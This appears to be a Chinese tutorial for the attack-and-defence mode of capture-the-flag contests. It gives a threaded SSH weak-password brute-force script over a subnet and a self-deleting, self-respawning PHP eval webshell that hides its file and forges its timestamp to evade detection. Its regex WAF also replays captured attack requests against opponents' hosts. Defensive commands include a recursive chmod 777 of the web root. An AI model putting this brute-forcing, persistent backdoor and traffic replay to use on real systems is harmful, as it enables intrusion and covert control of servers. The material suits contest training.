如果要學習CTF中的AWD模式之前,首先要去把這個模式的流程搞清楚。下面我推薦幾個視頻,可以去先學習下,下面寫的具體做法和一些腳本都是非常實用的,但是要在了解了awd之后有一定基礎了才可以看懂。放鏈接:
【2020年5月26日AWD環境分析-嗶哩嗶哩】https://b23.tv/mUBaux
【介紹三款CTF/AWD必備腳本,幫你迅速拿分!-嗶哩嗶哩】https://b23.tv/YR5Z9z
【AWD-web-嗶哩嗶哩】https://b23.tv/y4rf76
一.攻擊
- 弱口令: 先cat /etc/passwd 看一下有沒有弱口令。 最后面顯示/bin/bash是可以正常登錄的用戶。如果發現存在弱口令賬號,python腳本進行批量ssh連接並獲取flag.
#!/usr/bin/python
# -*- coding: utf-8 -*-
# author: 追尋_smile
import paramiko
import threading
def ssh(port, ip, username, passwd, cmd):
try:
#初始化paramiko.client類
ssh = paramiko.SSHClient()
#set_missing_host_key_policy:當SSH服務器的主機名不在系統主機密鑰或應用程序的密鑰中時,應使用該策略
#AutoAddPolicy():自動將主機名和新主機密鑰添加到本地HostKeys對象並保存它
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#連接到SSH服務器並對其進行身份驗證,port默認為22
ssh.connect(ip, port, username, passwd, timeout=1)
# 遍歷要執行的命令
for i in cmd:
"""
exec_command(command, bufsize=-1, timeout=None, get_pty=False, environment=None)
命令的輸入和輸出流以類似於Python file的對象的形式返回,它們代表stdin,stdout和stderr。
"""
stdin, stdout, stderr = ssh.exec_command(i)
#讀取執行命令后輸出的內容
#print(stdout.read())
out = stdout.readlines()
for m in out:
print(ip+':'+m)
print('%s:%s\t連接成功\n' % (ip, port))
#stdin, stdout, stderr = ssh.exec_command(cmd)
# 輸出命令執行結果
#result = stdout.read()
#res = result.decode(encoding="utf-8")
#print(res)
ssh.close()
except:
print('%s:%s\t連接失敗\n' % (ip, port))
if __name__ == '__main__':
# 執行命令的列表集
cmd = ['cat flag*']
# 用戶名
username = "admin"
# 密碼
passwd = '123456'
# 多線程
threads = []
print('begin....')
#端口列表
ports = ['22']
#這個循環根據需求自定義
for port in ports:
for j in range(1,51):
ip = '172.16.2.%d' % j
# 多線程 要執行的函數(參數)
a = threading.Thread(target=ssh, args=(port, ip, username, passwd, cmd))
a.start()
- 寫不死馬
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.zx.php';
$code = '<?php if(md5($_GET["keliseng"])=="c4704ba67d00af3d3ff4318343d1529b"){@eval($_POST[zx]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .zx.php');
usleep(5000);
}
?>
1..zx.php以.開頭可以起到隱藏作用
2."2018-12-01 09:10:12"可以隱藏創建時間,防御者通過find *.php -mmin -10 (找到10分鍾內修改的php文件)找不到此文件。
3.md5加密保證不死馬只為自己所用。
二.防御
-
如果主辦方沒有明令禁止,可以上通防WAF,對於很多典型的漏洞都可以起到作用.
<?php /**CTF—**/ error_reporting(0); class CTF_WAF{ public $getfilter; public $postfilter; public $cookiefilter; public $orther; public $url; public $dir; public $ip; public $Waf_switch; public $resultPage; public function __construct() { $this->getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|<.*(iframe|frame|style|embed|object|frameset|meta|xml|a|img)|hacker"; //post攔截規則 $this->postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|<.*(iframe|frame|style|embed|object|frameset|meta|xml|a|img)|hacker"; //cookie攔截規則 $this->cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; //其他攔截規則 $this->orther ="eval\(.*\)|phpinfo\(\)|assert\(.*\)|\`|\~|\^|<\?php|[oc]:\d+:|pcntl_alarm|pcntl_fork|pcntl_waitpid|pcntl_wait|pcntl_wifexited|pcntl_wifstopped|pcntl_wifsignaled|pcntl_wifcontinued|pcntl_wexitstatus|pcntl_wtermsig|pcntl_wstopsig|pcntl_signal|pcntl_signal_get_handler|pcntl_signal_dispatch|pcntl_get_last_error|pcntl_strerror|pcntl_sigprocmask|pcntl_sigwaitinfo|pcntl_sigtimedwait|pcntl_exec|pcntl_getpriority|pcntl_setpriority|pcntl_async_signals|system\(.*\)|exec\(.*\)|shell_exec\(.*\)|popen\(.*\)|proc_open\(.*\)|passthru\(.*\)|symlink\(.*\)|link\(.*\)|syslog\(.*\)|imap_open\(.*\)|flag|cat\s|etc\spasswd|IFS|display_errors|catch|ini_set|set_time_limit(0)"; $this->url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $this->dir = $_SERVER['DOCUMENT_ROOT'].'/'.'waflog/'; $this->ip = []; $this->read_ip(); $this->resultPage="http://127.0.0.1/";//返回頁面 $this->Waf_switch=0;//WAF開關1開啟,0關閉 } public function Flux($Value,$style){ switch ($style) { case 'post': if(is_array($Value)){ $Value = http_build_query($Value); } $this->data_to_file("{\"url\":\"".$this->url."\",\"value\":"."\"".$Value."\",\"style\":\"Post\",\"time\":\"".time()."\"}\r\n","logs.txt",'post'); $this->Check_Flux($Value, $this->postfilter); $this->Check_Flux($Value, $this->orther); break; case 'get': if(is_array($Value)){ $Value = http_build_query($Value); } $this->data_to_file("{\"url\":\"".$this->url."\",\"value\":"."\"".$Value."\",\"style\":\"Get\",\"time\":\"".time()."\"}\r\n","logs.txt",'get'); $this->Check_Flux($Value, $this->getfilter); $this->Check_Flux($Value, $this->orther); break; default: if(is_array($Value)){ $Value = http_build_query($Value); } $this->data_to_file("{\"url\":\"".$this->url."\",\"value\":"."\"".$Value."\",\"style\":\"Cookie\",\"time\":\"".time()."\"}\r\n","logs.txt",'cookie'); $this->Check_Flux($Value, $this->cookiefilter); $this->Check_Flux($Value, $this->orther); break; } } public function read_ip(){ if(!file_exists($this->dir."ip.txt")){ file_put_contents($this->dir."ip.txt", ""); } $file = fopen($this->dir."ip.txt", "r") or exit(""); while(!feof($file)) { array_push($this->ip, trim(fgets($file))); } fclose($file); } public function Check_Flux($Value,$ArrFiltReq){ if($this->Waf_switch==1){ if(is_array($Value)){ $Value=implode($Value); } $Value=urldecode($Value); if (preg_match("/".$ArrFiltReq."/is",$Value)==1){ die(file_get_contents($this->resultPage)); } } } public function Request_Post($data,$url){ if(is_array($data)){ $query = http_build_query($data); //使用給出的關聯(或下標)數組生成一個經過 URL-encode 的請求字符串。 }else{ $query = $data; } $options['http'] = array( 'timeout'=>60, 'method' => 'POST', 'header' => 'Content-type:application/x-www-form-urlencoded', 'content' => $query );//構造一個post包 //vardump($options['http'] );_ $context = stream_context_create($options);//創建並返回一個資源流上下文 $result = file_get_contents($url, false, $context); return $result; } public function Request_Get($url){ $result=[]; $result['content'] = file_get_contents($url); preg_match_all('/\/\/(.*?)\//', $url, $ip); $result['ip'] = $ip[1][0]; return $result; } public function Get_Flag($result){ //var_dump($result); if(stristr($result['content'],'flag')){ preg_match_all('/flag{(.*?)}/', $result['content'],$flag); if(!empty($flag[0][0])){ $this->data_to_file("{$result['ip']}\t| ".$flag[0][0]."\r\n","flag.txt",'flag'); } } } public function data_to_file($data,$filename,$style=''){ if(is_array($data)){ $data = implode($data); } switch ($style) { case 'post': if(!stristr(file_get_contents($this->dir.$filename),$data)){ if(file_exists($this->dir.$filename)){ file_put_contents($this->dir.$filename,"".$data,FILE_APPEND); }else{ file_put_contents($this->dir.$filename,$data,FILE_APPEND); } for($i=0;$i<count($this->ip);$i++){ $this->Get_Flag($this->Request_Post(json_decode(str_replace("\r\n","",$data),true)['value'],'http://'.$this->ip[$i].'/')); } } break; case 'get': $js_data = $data; if(!stristr(file_get_contents($this->dir.$filename),str_replace('http://'.$_SERVER['HTTP_HOST'], '', $data))){ file_put_contents($this->dir.$filename, $js_data ,FILE_APPEND); for($i=0;$i<count($this->ip);$i++){ $data=str_replace($_SERVER['HTTP_HOST'],$this->ip[$i],json_decode(str_replace("\r\n","",$data),true)['url']); $this->Get_Flag($this->Request_Get($data)); $data=$js_data ; } } break; case 'cookie': if(!stristr(file_get_contents($this->dir.$filename),$data)){ if(file_exists($this->dir.$filename)){ file_put_contents($this->dir.$filename,"".$data,FILE_APPEND); }else{ file_put_contents($this->dir.$filename,$data,FILE_APPEND); } } break; case 'flag': if(!stristr(file_get_contents($this->dir.$filename),$data)){ file_put_contents($this->dir.$filename,$data,FILE_APPEND); } break; } } } /*******************************/ /* 調用WAF */ $waf = new CTF_WAF(); if(isset($_GET)){ $waf->Flux($_GET,'get'); } if(isset($_POST)){ $waf->Flux($_POST,'post'); } if(isset($_COOKIE)){ $waf->Flux($_COOKIE,'cookie'); }
1.$this->Waf_switch=0;//WAF開關1開啟,0關閉,這里打開WAF
2.chmod 777 -R var/www/html #對一個目錄及子目錄所有文件添加權限。
3.find /var/www/html/ -type f -path "*.php" | xargs sed -i "s/<?php/<?php\nrequire_once('/var/www/html/CTF_WAF.php');\n/g" #對目錄下所有php文件進行文件包含命令.我們可以利用此語句,將所有php文件包含此WAF.
-
查殺不死馬
1.find *.php -mmin -10 #找到10分鍾內修改的php文件,如果有的話刪除
2.ps -aux 查看進程,kill 掉不死馬,或者上傳同名文件,不死馬則失效。